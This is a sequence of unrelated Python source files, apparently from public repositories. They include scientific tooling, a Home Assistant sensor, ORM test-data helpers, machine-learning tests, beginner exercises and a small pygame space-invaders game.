range of one geometric standard deviation around the geometric mean. Return the geometric range.""" georange = 0.0 if count > 0: if geosd > 0.0: georange = geomean * geosd - geomean / geosd else: georange = 0.0 return georange def output_stats(geomean, geosd, georange, count): """Output the statistical summary.""" geomean_op = '' geosd_op = '' georange_op = '' if count > 0: if gp['absolute']: geomean_op = f'{round(geomean):8,}' geosd_op = f' {(geosd):6.2f}' georange_op = f'{round(georange):8,}' else: geomean_op = f' {geomean:6.2f}' geosd_op = f' {geosd:6.2f}' georange_op = f' {georange:6.2f}' else: geomean_op = ' - ' geosd_op = ' - ' georange_op = ' - ' # Output the results log.info('--------- -----') log.info(f'Geometric mean {geomean_op:8}') log.info(f'Geometric SD {geosd_op:8}') log.info(f'Geometric range {georange_op:8}') def embench_stats(benchmarks, raw_data, rel_data): """Output statistics summary for Embench.""" geomean, count = compute_geomean(benchmarks, raw_data, rel_data) geosd = compute_geosd(benchmarks, raw_data, rel_data, geomean, count) georange = compute_georange(geomean, geosd, count) output_stats(geomean, geosd, georange, count)
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DQM/DTMonitorModule/python/dtChamberEfficiencyHI_cfi.py
pasmuss/cmssw
0
7431
<gh_stars>0 import FWCore.ParameterSet.Config as cms from RecoMuon.TrackingTools.MuonServiceProxy_cff import MuonServiceProxy dtEfficiencyMonitor = cms.EDAnalyzer("DTChamberEfficiency", MuonServiceProxy, debug = cms.untracked.bool(True), TrackCollection = cms.InputTag("standAloneMuons"), theMaxChi2 = cms.double(1000.), theNSigma = cms.double(3.), theMinNrec = cms.double(5.), dt4DSegments = cms.InputTag("dt4DSegments"), theRPCRecHits = cms.InputTag("dummy"), thegemRecHits = cms.InputTag("dummy"), cscSegments = cms.InputTag("dummy"), RPCLayers = cms.bool(False), NavigationType = cms.string("Standard") )
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Curso Python/ex004.py
sandro-fidelis/Cursos
0
154293
<filename>Curso Python/ex004.py<gh_stars>0 a = input('Digite algo ') print(' O tipo primitivo desse valor é:',type(a)) print('Só tem espaços?',a.isspace()) print('É um número?', a.isnumeric()) print('É alfabético?',a.isalpha()) print('é alfanumérico?',a.isalnum()) print('Está em maiúscula?',a.isupper()) print('Está em minúsculo?',a.islower()) print('Está captalizada?',a.istitle())
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morse_DMT/write_dipha_file_3d_revise.py
YinuoJin/DMT_loss
1
8137
import sys from matplotlib import image as mpimg import numpy as np import os DIPHA_CONST = 8067171840 DIPHA_IMAGE_TYPE_CONST = 1 DIM = 3 input_dir = os.path.join(os.getcwd(), sys.argv[1]) dipha_output_filename = sys.argv[2] vert_filename = sys.argv[3] input_filenames = [name for name in os.listdir(input_dir) if (os.path.isfile(input_dir + '/' + name)) and (name != ".DS_Store")] input_filenames.sort() image = mpimg.imread(os.path.join(input_dir, input_filenames[0])) nx, ny = image.shape del image nz = len(input_filenames) print(nx, ny, nz) #sys.exit() im_cube = np.zeros([nx, ny, nz]) i = 0 for name in input_filenames: sys.stdout.flush() print(i, name) fileName = input_dir + "/" + name im_cube[:, :, i] = mpimg.imread(fileName) i = i + 1 print('writing dipha output...') with open(dipha_output_filename, 'wb') as output_file: # this is needed to verify you are giving dipha a dipha file np.int64(DIPHA_CONST).tofile(output_file) # this tells dipha that we are giving an image as input np.int64(DIPHA_IMAGE_TYPE_CONST).tofile(output_file) # number of points np.int64(nx * ny * nz).tofile(output_file) # dimension np.int64(DIM).tofile(output_file) # pixels in each dimension np.int64(nx).tofile(output_file) np.int64(ny).tofile(output_file) np.int64(nz).tofile(output_file) # pixel values for k in range(nz): sys.stdout.flush() print('dipha - working on image', k) for j in range(ny): for i in range(nx): val = int(-im_cube[i, j, k]*255) ''' if val != 0 and val != -1: print('val check:', val) ''' np.float64(val).tofile(output_file) output_file.close() print('writing vert file') with open(vert_filename, 'w') as vert_file: for k in range(nz): sys.stdout.flush() print('verts - working on image', k) for j in range(ny): for i in range(nx): vert_file.write(str(i) + ' ' + str(j) + ' ' + str(k) + ' ' + str(int(-im_cube[i, j, k] * 255)) + '\n') vert_file.close() print(nx, ny, nz)
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setup.py
CollinNHays/python_qt_binding
20
1606685
#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup try: from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup() except ImportError: # extract information from package.xml manually when catkin_pkg is unavailable from xml.etree import ElementTree tree = ElementTree.parse('package.xml') root = tree.getroot() d = { 'name': root.find('./name').text, 'version': root.find('./version').text, 'maintainer': root.findall('./maintainer')[0].text, 'maintainer_email': root.findall('./maintainer')[0].attrib['email'], 'license': ', '.join([x.text for x in root.findall('./license')]), 'url': root.findall('./url')[0].text, 'author': ', '.join([x.text for x in root.findall('./author')]), } description = root.find('./description').text.strip() if len(description) <= 200: d['description'] = description else: d['description'] = description[:197] + '...' d['long_description'] = description d.update({ 'packages': [d['name']], 'package_dir': {'': 'src'}, 'classifiers': [ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', 'License :: OSI Approved :: BSD License', 'License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)', 'License :: OSI Approved :: GNU General Public License (GPL)', ], }) setup(**d)
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bin_collection/sensor.py
davidjb/sensor.bin_collection
0
88364
<reponame>davidjb/sensor.bin_collection import datetime import voluptuous as vol from homeassistant.core import callback from homeassistant.components.sensor import PLATFORM_SCHEMA from homeassistant.const import CONF_NAME, CONF_WEEKDAY, ATTR_DATE import homeassistant.util.dt as dt_util from homeassistant.helpers.event import async_track_point_in_utc_time import homeassistant.helpers.config_validation as cv from homeassistant.helpers.entity import Entity from homeassistant.util import slugify DOMAIN = 'sensor' CONF_RECYCLING_EPOCH = 'recycling_epoch' WASTE_ONLY = 'waste_only' WASTE_AND_RECYCLING = 'waste_and_recycling' BIN_COLLECTION_TYPES = { WASTE_ONLY: 'Waste', WASTE_AND_RECYCLING: 'Waste & Recycling', } BIN_COLLECTION_ICON = { WASTE_ONLY: 'mdi:trash-can-outline', WASTE_AND_RECYCLING: 'mdi:recycle', } DEFAULT_NAME = 'Next Bin Collection' DEFAULT_ICON = 'mdi:trash-can-outline' PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({ vol.Optional(CONF_RECYCLING_EPOCH, default=DEFAULT_NAME): cv.date, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, }) async def async_setup_platform(hass, config, async_add_entities, discovery_info=None): """Setup the sensor platform.""" sensor_name = config.get(CONF_NAME) recycling_epoch = config.get(CONF_RECYCLING_EPOCH) sensors = [ NextBinCollectionSensor(hass, sensor_name, recycling_epoch), NextBinCollectionDateSensor(hass, sensor_name, recycling_epoch), ] for sensor in sensors: async_track_point_in_utc_time( hass, sensor.point_in_time_listener, sensor.get_next_interval()) async_add_entities(sensors, True) class BaseNextBinCollectionSensor(Entity): def __init__(self, hass, name, recycling_epoch): """Initialize the sensor.""" self.hass = hass self._name = name self._recycling_epoch = recycling_epoch self._state = None self._next_date = None self._type = None self._update_internal_state(dt_util.utcnow()) @property def name(self): """Return the name of the sensor.""" return self._name @property def state(self): """Return the state of the sensor.""" return self._state @property def icon(self): return BIN_COLLECTION_ICON.get(self._state, DEFAULT_ICON) @property def device_state_attributes(self): return { ATTR_DATE: self._next_date.isoformat(), CONF_WEEKDAY: self._next_date.strftime('%A'), } def _update_internal_state(self, now): from dateutil import relativedelta today = dt_util.as_local(now).date() bin_day = relativedelta.weekdays[self._recycling_epoch.weekday()] self._next_date = \ today + relativedelta.relativedelta(weekday=bin_day) # If next date is a factor of 2 weeks away from epoch, it is recycling self._type = WASTE_AND_RECYCLING if \ ((self._next_date - self._recycling_epoch).days / 7) % 2 == 0 \ else WASTE_ONLY def get_next_interval(self, now=None): """Compute next time update should occur (eg first thing tomorrow).""" if now is None: now = dt_util.utcnow() start_of_day = dt_util.start_of_local_day(dt_util.as_local(now)) return start_of_day + datetime.timedelta(days=1) @callback def point_in_time_listener(self, now): """Update state and schedule same listener to run again.""" self._update_internal_state(now) self.async_schedule_update_ha_state() async_track_point_in_utc_time( self.hass, self.point_in_time_listener, self.get_next_interval()) class NextBinCollectionSensor(BaseNextBinCollectionSensor): def _update_internal_state(self, now): super()._update_internal_state(now) type_readable = BIN_COLLECTION_TYPES[self._type] today = dt_util.as_local(now).date() difference = self._next_date - today if (difference.days == 0): humanisation = 'Today' elif (difference.days == 1): humanisation = 'Tomorrow' else: weekday = self._next_date.strftime('%A') if (difference.days < 8): humanisation = f'This {weekday}' else: humanisation = f'Next {weekday}' self._state = f'{humanisation} ({type_readable})' class NextBinCollectionDateSensor(BaseNextBinCollectionSensor): def __init__(self, hass, name, recycling_epoch): super().__init__(hass, name, recycling_epoch) self.entity_id = f'{DOMAIN}.{slugify(name)}_date' def _update_internal_state(self, now): super()._update_internal_state(now) self._state = self._next_date.isoformat()
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metaquantome/modules/run_viz.py
jj-umn/metaquantome
4
23292
import os import subprocess import json from metaquantome.util.utils import BASE_DIR from metaquantome.classes.SampleGroups import SampleGroups def run_viz(plottype, img, infile, strip=None, mode=None, meancol=None, nterms='5', target_rank=None, barcol=6, # barplot, stacked_bar textannot=None, fc_name=None, fc_corr_p=None, flip_fc=False, gosplit=False, # volcano sinfo=None, filter_to_sig=False, alpha='0.05', # heatmap calculate_sep=False, # pca whichway=None, name=None, id=None, target_onto=None, # ft_dist width='5', height='5', tabfile=None, feature_cluster_size=2, sample_cluster_size=2): """ Wrapper script for the command-line R visualizations The documentation for each of the arguments is in cli.py :return: None """ r_script_path = os.path.join(BASE_DIR, 'modules', 'viz.R') cmd = ['Rscript', '--vanilla', r_script_path, plottype, img, infile] if plottype == "bar": cmd += [mode, meancol, nterms, width, height, target_rank, target_onto, barcol, tabfile] elif plottype == "volcano": cmd += [str(textannot), fc_name, fc_corr_p, flip_fc, gosplit, width, height, tabfile] elif plottype == "heatmap": samp_grps = SampleGroups(sinfo) all_intcols_str = ','.join(samp_grps.all_intcols) json_dump = json.dumps(samp_grps.sample_names) cmd += [all_intcols_str, json_dump, filter_to_sig, alpha, width, height, strip, feature_cluster_size, sample_cluster_size, fc_corr_p] elif plottype == "pca": samp_grps = SampleGroups(sinfo) all_intcols_str = ','.join(samp_grps.all_intcols) json_dump = json.dumps(samp_grps.sample_names) cmd += [all_intcols_str, json_dump, calculate_sep, width, height, strip] elif plottype == "ft_dist": cmd += [whichway, name, id, meancol, nterms, width, height, target_rank, target_onto, barcol, tabfile] if plottype == "stacked_bar": samp_grps = SampleGroups(sinfo) all_intcols_str = ','.join(samp_grps.all_intcols) json_dump = json.dumps(samp_grps.sample_names) cmd += [all_intcols_str, json_dump, nterms, target_rank, width, height, tabfile] else: ValueError("Wrong plot type. Must be bar, volcano, heatmap, ft_dist, stacked_bar, or pca.") # ensure that all elements are strings (even booleans, etc) cmd_string = [str(elem) for elem in cmd] # run the visualizations, suppressing any output to stdout with open(os.devnull, 'w') as fnull: subprocess.run(cmd_string, stdout=fnull, check=True)
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CognosService.py
gbryant-dev/CApy
0
176027
<reponame>gbryant-dev/CApy from GroupService import GroupService from RESTService import RESTService from UserService import UserService class CognosService: def __init__(self, **kwargs) -> None: self._cognos_rest = RESTService(**kwargs) self.groups = GroupService(self._cognos_rest) self.users = UserService(self._cognos_rest)
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tests/test_hooks.py
647-coder/Thrall
6
166594
<reponame>647-coder/Thrall # coding: utf-8 # flake8: noqa from thrall.hooks import _SetDefault, _SetDefaultWithParams, SetD class TestSetDefault(object): @_SetDefault def mock(self, **kwargs): return kwargs @_SetDefault def mock2(self, a=1, b=2): return a, b def test_set_ok(self): self.mock.set_default(a=1, b=2) r = self.mock(c=3) assert r['a'] == 1 assert r['b'] == 2 assert r['c'] == 3 def test_set_default_ok(self): self.mock.set_default(a=1, b=3) r = self.mock(a=3) assert r['a'] == 3 assert r['b'] == 3 def test_series_ok(self): self.mock.set_default(a=1) r = self.mock(a=3) assert r['a'] == 3 assert r.get('b') == 3 def test_kwargs_override_ok(self): self.mock2.set_default(a=3) r = self.mock2(b=2) assert r == (3, 2) def test_outside_ok(): @_SetDefault def mock(a=1, b=2): return a, b mock.set_default(a=3) r = mock(a=2, b=2) assert r == (2, 2) class TestSetDefaultWithParams(object): @_SetDefaultWithParams(a=1) def mock(self, **kwargs): return kwargs def test_set_ok(self): r = self.mock(b=2) assert r['a'] == 1 assert r['b'] == 2 def test_set_default_ok(self): r = self.mock(a=2, b=2) assert r['a'] == 2 assert r['b'] == 2 def test_tests(self): r = self.mock() assert r['a'] == 1 assert r.get('b') is None class TestSetD(object): def test_no_params(self, mocker): mocker.spy(_SetDefault, '__init__') mocker.spy(_SetDefault, '__call__') mocker.spy(_SetDefaultWithParams, '__init__') mocker.spy(_SetDefaultWithParams, '__call__') @SetD def mock(**kwargs): pass mock(a=1) assert _SetDefault.__init__.call_count == 1 assert _SetDefault.__call__.call_count == 1 assert _SetDefaultWithParams.__init__.call_count == 0 assert _SetDefaultWithParams.__call__.call_count == 0 def test_wth_params(self, mocker): mocker.spy(_SetDefault, '__init__') mocker.spy(_SetDefault, '__call__') mocker.spy(_SetDefaultWithParams, '__init__') mocker.spy(_SetDefaultWithParams, '__call__') @SetD(a=1) def mock(**kwargs): pass mock(a=2) assert _SetDefault.__init__.call_count == 0 assert _SetDefault.__call__.call_count == 0 assert _SetDefaultWithParams.__init__.call_count == 1 assert _SetDefaultWithParams.__call__.call_count == 1
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mixer/backend/mongoengine.py
mattcaldwell/mixer
1
113663
""" Support for Mongoengine ODM. .. note:: Support for Mongoengine_ is in early development. :: from mixer.backend.mongoengine import mixer class User(Document): created_at = DateTimeField(default=datetime.datetime.now) email = EmailField(required=True) first_name = StringField(max_length=50) last_name = StringField(max_length=50) class Post(Document): title = StringField(max_length=120, required=True) author = ReferenceField(User) tags = ListField(StringField(max_length=30)) post = mixer.blend(Post, author__username='foo') """ from __future__ import absolute_import import datetime import decimal from bson import ObjectId from mongoengine import ( BooleanField, DateTimeField, DecimalField, Document, EmailField, EmbeddedDocumentField, FloatField, GenericReferenceField, GeoPointField, IntField, LineStringField, ListField, ObjectIdField, PointField, PolygonField, ReferenceField, StringField, URLField, UUIDField, ) from .. import mix_types as t, generators as g, fakers as f from ..main import ( Field, Relation, NO_VALUE, TypeMixer as BaseTypeMixer, GenFactory as BaseFactory, Mixer as BaseMixer, ) def get_objectid(**kwargs): """ Create a new ObjectId instance. :return ObjectId: """ return ObjectId() def get_pointfield(**kwargs): """ Get a Point structure. :return dict: """ return dict(type='Point', coordinates=f.get_coordinates()) def get_linestring(length=5, **kwargs): """ Get a LineString structure. :return dict: """ return dict( type='LineString', coordinates=[f.get_coordinates() for _ in range(length)]) def get_polygon(length=5, **kwargs): """ Get a Poligon structure. :return dict: """ lines = [] for _ in range(length): line = get_linestring()['coordinates'] if lines: line.insert(0, lines[-1][-1]) lines.append(line) if lines: lines[0].insert(0, lines[-1][-1]) return dict(type='Poligon', coordinates=lines) class GenFactory(BaseFactory): """ Map a mongoengine classes to simple types. """ types = { BooleanField: bool, DateTimeField: datetime.datetime, DecimalField: decimal.Decimal, EmailField: t.EmailString, FloatField: float, IntField: int, StringField: str, URLField: t.URL, UUIDField: t.UUID, } generators = { ObjectIdField: g.loop(get_objectid), LineStringField: g.loop(get_linestring), GeoPointField: g.loop(f.get_coordinates), PointField: g.loop(get_pointfield), PolygonField: g.loop(get_polygon), } class TypeMixer(BaseTypeMixer): """ TypeMixer for Mongoengine. """ factory = GenFactory def make_generator(self, field, field_name=None, fake=None): """ Make values generator for field. :param field: Mongoengine field's instance :param field_name: Field name :param fake: Force fake data :return generator: """ ftype = type(field) stype = self.factory.cls_to_simple(ftype) kwargs = dict() if field.choices: choices, _ = list(zip(*field.choices)) return g.gen_choice(choices) if stype is str: kwargs['length'] = field.max_length elif ftype is ListField: gen = self.make_generator(field.field) return g.loop(lambda: [next(gen) for _ in range(3)])() elif ftype is EmbeddedDocumentField: return g.loop(TypeMixer(field.document_type).blend)() elif ftype is DecimalField: sign, (ii,), dd = field.precision.as_tuple() kwargs['d'] = abs(dd) kwargs['positive'] = not sign kwargs['i'] = ii + 1 return self.factory.gen_maker(stype, field_name, fake)(**kwargs) @staticmethod def get_default(field, target): """ Get default value from field. :return value: A default value or NO_VALUE """ if not field.scheme.default: return NO_VALUE if callable(field.scheme.default): return field.scheme.default() return field.scheme.default @staticmethod def is_unique(field): """ Return True is field's value should be a unique. :return bool: """ return field.scheme.unique @staticmethod def is_required(field): """ Return True is field's value should be defined. :return bool: """ return field.scheme.required or isinstance(field.scheme, ObjectIdField) def gen_relation(self, target, field_name, relation, force=False): """ Generate a related relation by `relation`. :param target: Target for generate value. :param field_name: Name of relation for generation. :param relation: Instance of :class:`Relation` :return None: """ if isinstance(relation.scheme, GenericReferenceField): meta = type(self.__class__) new_scheme = g.get_choice([ m for (_, m, _, _) in meta.mixers.keys() if issubclass(m, Document) and not m is self.__scheme ]) else: new_scheme = relation.scheme.document_type if new_scheme != self.__scheme: value = self.__mixer and self.__mixer.blend( new_scheme, **relation.params ) or TypeMixer( new_scheme, factory=self.__factory, fake=self.fake ).blend(**relation.params) return self.set_value(target, field_name, value) def __load_fields(self): for fname, field in self.__scheme._fields.items(): if isinstance(field, (ReferenceField, GenericReferenceField)): yield fname, Relation(field, fname) continue yield fname, Field(field, fname) class Mixer(BaseMixer): """ Mixer class for mongoengine. Default mixer (desnt save a generated instances to db) :: from mixer.backend.mongoengine import mixer user = mixer.blend(User) You can initialize the Mixer by manual: :: from mixer.backend.mongoengine import Mixer mixer = Mixer(commit=True) user = mixer.blend(User) """ type_mixer_cls = TypeMixer def __init__(self, commit=False, **params): """ Initialize the Mongoengine Mixer. :param fake: (True) Generate fake data instead of random data. :param commit: (False) Save object to Mongo DB. """ super(Mixer, self).__init__(**params) self.commit = commit def post_generate(self, result): """ Save instance to DB. :return instance: """ if self.commit and isinstance(result, Document): result.save() return result mixer = Mixer() # lint_ignore=W0212
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rbm/models/nlp/ner/nerda.py
RevolveAI/BenchmarkMyAI
0
1604257
import NERDA as nerda from NERDA.precooked import EN_ELECTRA_EN, EN_BERT_ML import nltk from nltk.tokenize import word_tokenize import torch from rbm.utils import plugins from rbm.backends import TorchBackend from rbm.backends.nlp import NER @plugins.register class NERDA(TorchBackend, NER): variants = ['EN_ELECTRA_EN', 'EN_BERT_ML'] def __init__(self, model_name, device, batch_size=1): TorchBackend.__init__(self, device=device) NER.__init__(self, batch_size=batch_size) self.model_name = model_name self.__name__ = model_name self._model = None def __call__(self, *args, **kwargs): model = eval(self.model_name) model = model(device=self.device) try: model.load_network() except (AssertionError, RuntimeError): model.download_network() model.load_network() try: nltk.data.find('tokenizers/punkt') except LookupError: nltk.download('punkt') self._model = model def preprocess(self, inputs): tokenized = [word_tokenize(_text) for _text in inputs] return tokenized def predict(self, inputs): return self._model.predict(inputs, batch_size=self.batch_size)
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tests/test_export_n_load_module.py
ZeyuChen/PaddleHub
0
182598
# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License" # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import print_function from __future__ import division from __future__ import print_function import numpy as np import paddle.fluid as fluid import paddle import paddlehub as hub import unittest import os from collections import defaultdict EMBED_SIZE = 16 HIDDEN_SIZE = 256 N = 5 BATCH_SIZE = 64 PASS_NUM = 1000 word_dict = paddle.dataset.imikolov.build_dict() dict_size = len(word_dict) data = paddle.dataset.imikolov.train(word_dict, N) _MOCK_DATA = [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10]] def mock_data(): for d in _MOCK_DATA: yield d batch_reader = paddle.batch(mock_data, BATCH_SIZE) #batch_reader = paddle.batch(data, BATCH_SIZE) batch_size = 0 for d in batch_reader(): batch_size += 1 def word2vec(words, is_sparse, trainable=True): emb_param_attr = fluid.ParamAttr(name="embedding", trainable=trainable) embed_first = fluid.layers.embedding( input=words[0], size=[dict_size, EMBED_SIZE], dtype='float32', is_sparse=is_sparse, param_attr=emb_param_attr) embed_second = fluid.layers.embedding( input=words[1], size=[dict_size, EMBED_SIZE], dtype='float32', is_sparse=is_sparse, param_attr=emb_param_attr) embed_third = fluid.layers.embedding( input=words[2], size=[dict_size, EMBED_SIZE], dtype='float32', is_sparse=is_sparse, param_attr=emb_param_attr) embed_fourth = fluid.layers.embedding( input=words[3], size=[dict_size, EMBED_SIZE], dtype='float32', is_sparse=is_sparse, param_attr=emb_param_attr) concat_emb = fluid.layers.concat( input=[embed_first, embed_second, embed_third, embed_fourth], axis=1) hidden1 = fluid.layers.fc(input=concat_emb, size=HIDDEN_SIZE, act='sigmoid') pred_prob = fluid.layers.fc(input=hidden1, size=dict_size, act='softmax') # declare later than predict word next_word = fluid.layers.data(name='nextw', shape=[1], dtype='int64') cost = fluid.layers.cross_entropy(input=pred_prob, label=next_word) avg_cost = fluid.layers.mean(cost) return pred_prob, avg_cost def get_dictionary(word_dict): dictionary = defaultdict(int) w_id = 0 for w in word_dict: if isinstance(w, bytes): w = w.decode("ascii") dictionary[w] = w_id w_id += 1 return dictionary def test_create_w2v_module(use_gpu=False): place = fluid.CUDAPlace(0) if use_gpu else fluid.CPUPlace() first_word = fluid.layers.data(name='firstw', shape=[1], dtype='int64') second_word = fluid.layers.data(name='secondw', shape=[1], dtype='int64') third_word = fluid.layers.data(name='thirdw', shape=[1], dtype='int64') forth_word = fluid.layers.data(name='fourthw', shape=[1], dtype='int64') next_word = fluid.layers.data(name='nextw', shape=[1], dtype='int64') word_list = [first_word, second_word, third_word, forth_word, next_word] pred_prob, avg_cost = word2vec(word_list, is_sparse=True) main_program = fluid.default_main_program() startup_program = fluid.default_startup_program() sgd_optimizer = fluid.optimizer.SGDOptimizer(learning_rate=1e-2) sgd_optimizer.minimize(avg_cost) exe = fluid.Executor(place) exe.run(startup_program) # initialization step = 0 for epoch in range(0, PASS_NUM): for mini_batch in batch_reader(): feed_var_list = [ main_program.global_block().var("firstw"), main_program.global_block().var("secondw"), main_program.global_block().var("thirdw"), main_program.global_block().var("fourthw"), main_program.global_block().var("nextw") ] feeder = fluid.DataFeeder(feed_list=feed_var_list, place=place) cost = exe.run( main_program, feed=feeder.feed(mini_batch), fetch_list=[avg_cost]) step += 1 if step % 100 == 0: print("Epoch={} Step={} Cost={}".format(epoch, step, cost[0])) saved_module_dir = "./tmp/word2vec_test_module" # save inference model including feed and fetch variable info dictionary = get_dictionary(word_dict) module_inputs = [ main_program.global_block().var("firstw"), main_program.global_block().var("secondw"), main_program.global_block().var("thirdw"), main_program.global_block().var("fourthw"), ] signature = hub.create_signature( "default", inputs=module_inputs, outputs=[pred_prob], feed_names=["firstw", "secondw", "thirdw", "fourthw"], fetch_names=["pred_prob"]) hub.create_module( sign_arr=signature, module_dir=saved_module_dir, word_dict=dictionary) def test_load_w2v_module(use_gpu=False): saved_module_dir = "./tmp/word2vec_test_module" w2v_module = hub.Module(module_dir=saved_module_dir) feed_dict, fetch_dict, program = w2v_module( sign_name="default", trainable=False) with fluid.program_guard(main_program=program): pred_prob = fetch_dict["pred_prob"] pred_word = fluid.layers.argmax(x=pred_prob, axis=1) # set place, executor, datafeeder place = fluid.CUDAPlace(0) if use_gpu else fluid.CPUPlace() exe = fluid.Executor(place) feed_vars = [ feed_dict["firstw"], feed_dict["secondw"], feed_dict["thirdw"], feed_dict["fourthw"] ] feeder = fluid.DataFeeder(place=place, feed_list=feed_vars) word_ids = [[1, 2, 3, 4]] result = exe.run( fluid.default_main_program(), feed=feeder.feed(word_ids), fetch_list=[pred_word], return_numpy=True) print(result) if __name__ == "__main__": use_gpu = False print("test create word2vec module") test_create_w2v_module(use_gpu) print("test load word2vec module") test_load_w2v_module(use_gpu=False)
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output/models/ibm_data/mixed/assertions/test15_xsd/test15.py
tefra/xsdata-w3c-tests
1
109730
from dataclasses import dataclass, field from typing import List, Optional @dataclass class XType: class Meta: name = "x_Type" value: Optional[int] = field( default=None, metadata={ "required": True, } ) a: Optional[str] = field( default=None, metadata={ "type": "Attribute", "required": True, "max_length": 20, "pattern": r"val[1-9][0-9]*", } ) @dataclass class Example: x: List[XType] = field( default_factory=list, metadata={ "type": "Element", "namespace": "", "min_occurs": 1, } ) x_count: Optional[int] = field( default=None, metadata={ "type": "Attribute", "required": True, } )
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download codigo fontes/PythonExercicios/ex070.py
tidesjunior2018/Exercicios-da-linguagem-pyhton
0
190261
<gh_stars>0 ''' 70-Crie um programa que leia o nome e o preço de vários produtos.O programa deverá perguntar se o usuário quer continuar.No final mostre: A)Qual o total gasto na compra. B)Quantos produtos custam mais de R$1000,00. C)Qual é o nome do produto mais barato. ''' totalcompras=contproduto=menor=contador=0 nomemaisbarato='' print('{:-^70}'.format('<NAME>')) print('\n') while True: print('{:*^20}'.format('PRODUTO')) produto=str(input('Nome:')) preco=float(input('Preço:R$')) contador+=1 print('*' * 20) totalcompras+=preco if totalcompras > 1000: contproduto+=1 if contador == 1: menor=preco nomemaisbarato=produto elif preco < menor: menor=preco nomemaisbarato=produto resp=' ' while resp not in 'SN': resp=str(input('Quer Continuar[S/N]:')).strip().upper()[0] if resp == 'N': break print('{:-^70}'.format('FIM DO PROGRAMA')) print('*'*66) print(f'*TOTAL = R$ {totalcompras:.2f} *') print(f'*Existem {contproduto} que passa R$ 1000.00 *') print(f'*O nome do produto mais barato foi {nomemaisbarato} que custa R$ {menor:.2f} *') print('*'*66)
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pets/models.py
Gornstats/HTMX-Django-Experiments
0
50284
from django.db import models class Pet(models.Model): pet_name = models.CharField(max_length=20) def __str__(self): return self.pet_name
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src/main.py
linuxbytes/pyvaders
0
99105
from random import randrange import pygame from pygame import mixer import random import math # intial instances of pygame pygame.init() screen = pygame.display.set_mode((800, 600)) # Add background image background = pygame.image.load("assests/mountains03-1920-x-1080_full.png") # Background Music mixer.music.load("assests/Dark Fantasy Studio - Particle voyager.mp3") mixer.music.play(-1) # Title logo with caption pygame.display.set_caption("assests/PyVaders") icon = pygame.image.load("assests/alien.png") pygame.display.set_icon(icon) # Player player_image = pygame.image.load("assests/darkgrey_02.png") player_x = 370 player_y = 480 player_x_change = 0 # Alien Enemy alien_image = [] alien_x = [] alien_y = [] alien_x_change = [] alien_y_change = [] num_of_enemies = 6 for _ in range(num_of_enemies): alien_image.append(pygame.image.load("assests/alien_enemy.png")) alien_x.append(random.randrange(0, 800)) alien_y.append(random.randrange(50, 150)) alien_x_change.append(0.3) alien_y_change.append(30) # Alien Enemy laser_image = pygame.image.load("assests/laser.png") laser_x = 0 laser_y = 500 laser_x_change = 0 laser_y_change = 5 laser_state = "ready" # Score values score = 0 # font for score font = pygame.font.Font("assests/Monoton-Regular.ttf", 32) score_displayX = 6 score_displayY = 6 # font for Game Over over_font = pygame.font.Font("assests/Monoton-Regular.ttf", 32) """ Draw Function from pygames Using the screen blit def player, alien, collision and laser """ def show_score(x, y): score_display = font.render("Score : " + str(score), True, (255, 0, 0)) screen.blit(score_display, (x, y)) def game_over(): over_text = over_font.render("GAME OVER", True, (255, 0, 0)) screen.blit(over_text, (250, 250)) def player(x, y): screen.blit(player_image, (x, y)) def alien(x, y, i): screen.blit(alien_image[i], (x, y)) def shoot_laser(x, y): global laser_state laser_state = "fire" screen.blit(laser_image, (x + 9, y + 6)) def isCollision(alien_x, alien_y, laser_x, laser_y): distance = math.sqrt( math.pow(alien_x - laser_x, 2) + math.pow(alien_y - laser_y, 2) ) return distance < 27 # Game Loop running = True while running: screen.fill((5, 0, 0)) screen.blit(background, (0, 0)) # Listening to each events for key press directions for event in pygame.event.get(): if event.type == pygame.QUIT: running = False if event.type == pygame.KEYDOWN: if event.key == pygame.K_LEFT: player_x_change = -0.5 # print("Left Key is press") if event.key == pygame.K_RIGHT: player_x_change = 0.5 # print("Right Key is press") if event.key == pygame.K_SPACE: laser_sound = mixer.Sound("assests/laser.wav") laser_sound.play() laser_x = player_x shoot_laser(laser_x, laser_y) if event.type == pygame.KEYUP and event.key in [ pygame.K_LEFT, pygame.K_RIGHT, ]: player_x_change = 0 # Draw with the following colors # screen.fill((5, 0, 0)) player_x += player_x_change if player_x <= 0: player_x = 0 elif player_x >= 736: player_x = 736 # Alien movements and x changes position """ interate from a number aliens and generat them also check and call isCollision """ for i in range(num_of_enemies): # Game Over if alien_y[i] > 200: for j in range(num_of_enemies): alien_y[j] = 2000 game_over() break alien_x[i] += alien_x_change[i] if alien_x[i] <= 0: alien_x_change[i] = 1 alien_y[i] += alien_y_change[i] elif alien_x[i] >= 736: alien_x_change[i] = -1 alien_y[i] += alien_y_change[i] collision = isCollision(alien_x[i], alien_y[i], laser_x, laser_y) if collision: explosion = mixer.Sound("assests/Explosion.wav") explosion.play() laser_y = 400 laser_state = "ready" score += 1 alien_x[i] = random.randint(0, 800) alien_y[i] = random.randint(50, 150) alien(alien_x[i], alien_y[i], i) # laser movement if laser_y <= 0: laser_y = 500 laser_state = "ready" if laser_state is "fire": shoot_laser(laser_x, laser_y) laser_y -= laser_y_change # Call instances player(player_x, player_y) show_score(score_displayX, score_displayY) """ Final draw call for the game. call update by end of loop need to keep in the bottom of loop """ pygame.display.update()
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ecommerce/core/migrations/0020_auto_20200923_1948.py
berrondo/ecommerce
1
28618
